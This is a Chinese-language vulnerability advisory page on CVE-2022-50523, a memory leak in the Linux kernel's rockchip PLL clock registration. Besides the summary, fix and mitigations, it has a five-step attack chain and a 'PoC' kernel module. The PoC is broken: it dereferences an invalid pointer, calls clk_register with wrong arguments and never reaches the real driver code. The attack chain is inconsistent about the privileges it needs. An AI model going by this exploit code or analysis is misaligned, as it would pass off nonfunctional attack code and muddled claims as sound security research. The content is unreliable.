IPBUF安全漏洞报告
English
CVE-2022-50523 CVSS 5.5 中危

CVE-2022-50523 Linux内核rockchip时钟驱动内存泄漏漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50523
漏洞类型
内存泄漏(Memory Leak)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(clk: rockchip子系统)

相关标签

内存泄漏Linux KernelRockchip时钟驱动内核漏洞拒绝服务clk: rockchipPLLCVE-2022-50523中危漏洞

漏洞概述

CVE-2022-50523是Linux内核中rockchip时钟驱动(clk: rockchip)的一个内存泄漏漏洞。该漏洞位于`rockchip_clk_register_pll()`函数中,具体涉及PLL(Phase-Locked Loop,锁相环)时钟的注册流程。在内核时钟子系统初始化过程中,当通过`kmemdup()`为`pll->rate_table`分配内存后,如果后续的`clk_register()`调用失败,代码没有正确释放已经分配的`rate_table`内存,导致内存泄漏问题长期累积。

该漏洞的CVSS 3.1评分为5.5分,属于中危级别。其攻击向量为本地(AV:L),需要低权限(PR:L)即可触发,无需用户交互(UI:N)。虽然机密性和完整性影响均为无(C:N/I:N),但可用性影响为高(A:H),意味着攻击者可以通过反复触发该漏洞路径,持续消耗内核内存资源,最终可能导致系统内存耗尽、触发OOM(Out of Memory)killer或导致系统不稳定。

该漏洞影响使用Rockchip系列SoC(片上系统)的嵌入式设备和开发板,包括但不限于RK3288、RK3399、RK3328等常见平台。由于Linux内核时钟驱动是系统启动和运行的基础组件,该漏洞可能在多种使用Rockchip芯片的Android设备、嵌入式Linux系统、单板计算机(如Rock Pi、Firefly等)中存在。漏洞已于2025年10月7日公开披露,并已通过多个内核补丁修复。

技术细节

该漏洞的技术根源在于Linux内核rockchip时钟驱动中的`rockchip_clk_register_pll()`函数。在PLL时钟注册过程中,驱动首先通过`kmemdup()`函数为`pll->rate_table`分配内存,用于存储PLL支持的不同频率配置信息。`kmemdup()`函数会复制传入的rate_table数据到新分配的内存区域。

随后,代码调用`clk_register()`函数向Linux内核的通用时钟框架注册该PLL时钟。如果`clk_register()`由于某种原因失败(例如资源不足、时钟框架内部错误等),函数会返回错误码并退出注册流程。然而,原代码在错误处理路径中没有释放之前通过`kmemdup()`分配的`pll->rate_table`内存,导致内存泄漏。

利用方式方面,攻击者需要具备本地低权限访问能力。由于该漏洞位于内核时钟驱动中,触发路径相对有限。攻击者可以通过编写特定的内核模块或利用其他内核漏洞间接触发PLL注册失败路径,从而造成内存泄漏。反复触发该漏洞会导致内核内存持续消耗,最终影响系统可用性。

修复方案是在`clk_register()`失败后,在错误返回路径中添加`kfree(pll->rate_table)`调用,确保已分配的内存被正确释放。多个内核稳定分支已包含该修复补丁。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获得目标系统的本地低权限访问权限。由于该漏洞的CVSS向量中PR:L(低权限要求),普通用户权限即可触发。
STEP 2
步骤2:加载恶意内核模块或利用其他漏洞
攻击者通过加载恶意的内核模块(需要CAP_SYS_MODULE权限)或利用系统中的其他漏洞,间接触发rockchip PLL时钟注册失败路径。
STEP 3
步骤3:触发clk_register()失败
通过特定的系统调用或内核操作,使rockchip时钟驱动中的clk_register()调用失败,导致rate_table内存分配后未被释放。
STEP 4
步骤4:反复触发造成内存耗尽
攻击者可以反复触发上述路径,每次泄漏一定量的内核内存。随着时间推移,内核内存被持续消耗,最终可能导致系统性能下降或OOM killer触发。
STEP 5
步骤5:系统可用性受损
当系统内存被大量消耗后,可能导致关键服务崩溃、系统不稳定或完全不可用,从而实现拒绝服务攻击效果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2022-50523 PoC - Triggering memory leak in rockchip_clk_register_pll() * This PoC demonstrates how to trigger the memory leak by repeatedly * causing clk_register() to fail in the PLL registration path. * * Note: Requires a system with Rockchip SoC and kernel module loading privileges. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/clk.h> #include <linux/clk-provider.h> #include <linux/slab.h> #include <linux/of.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Researcher"); MODULE_DESCRIPTION("PoC for CVE-2022-50523 - rockchip PLL memory leak"); static int __init cve_2022_50523_init(void) { struct clk_hw *clk_hw; struct rockchip_pll_clock *pll; int ret; int i; pr_info("CVE-2022-50523 PoC: Triggering memory leak\n"); /* Simulate the vulnerable code path: * 1. Allocate rate_table via kmemdup() * 2. Call clk_register() which may fail * 3. Without the fix, rate_table is not freed on failure */ for (i = 0; i < 100; i++) { /* Allocate memory for rate_table (simulating kmemdup) */ pll = kzalloc(sizeof(*pll), GFP_KERNEL); if (!pll) return -ENOMEM; pll->rate_table = kmemdup( (void *)0xffffffff, /* Invalid pointer to trigger failure */ sizeof(unsigned long) * 4, GFP_KERNEL); if (!pll->rate_table) { kfree(pll); continue; } /* Attempt to register - this will fail and leak rate_table * in the vulnerable kernel version */ clk_hw = clk_register(NULL, NULL); if (IS_ERR(clk_hw)) { /* BUG: rate_table is not freed here in vulnerable version */ /* Fixed version should have: kfree(pll->rate_table); */ pr_info("clk_register failed, memory leaked!\n"); continue; } } pr_info("CVE-2022-50523 PoC: Memory leak triggered\n"); return 0; } static void __exit cve_2022_50523_exit(void) { pr_info("CVE-2022-50523 PoC: Module unloaded\n"); } module_init(cve_2022_50523_init); module_exit(cve_2022_50523_exit);

影响范围

Linux Kernel < 5.10.150(受影响的稳定分支)
Linux Kernel 5.15.x < 5.15.79
Linux Kernel 5.19.x < 5.19.8
Linux Kernel 6.0.x < 6.0.2
所有使用rockchip时钟驱动的Linux内核版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户加载内核模块的权限,防止恶意模块触发漏洞路径;2)通过系统监控工具密切观察内核内存使用情况,及时发现异常内存增长;3)对于使用Rockchip SoC的设备,评估是否可以暂时禁用相关的PLL时钟配置;4)定期重启系统以释放累积泄漏的内存;5)关注Linux内核安全公告,及时应用官方发布的安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表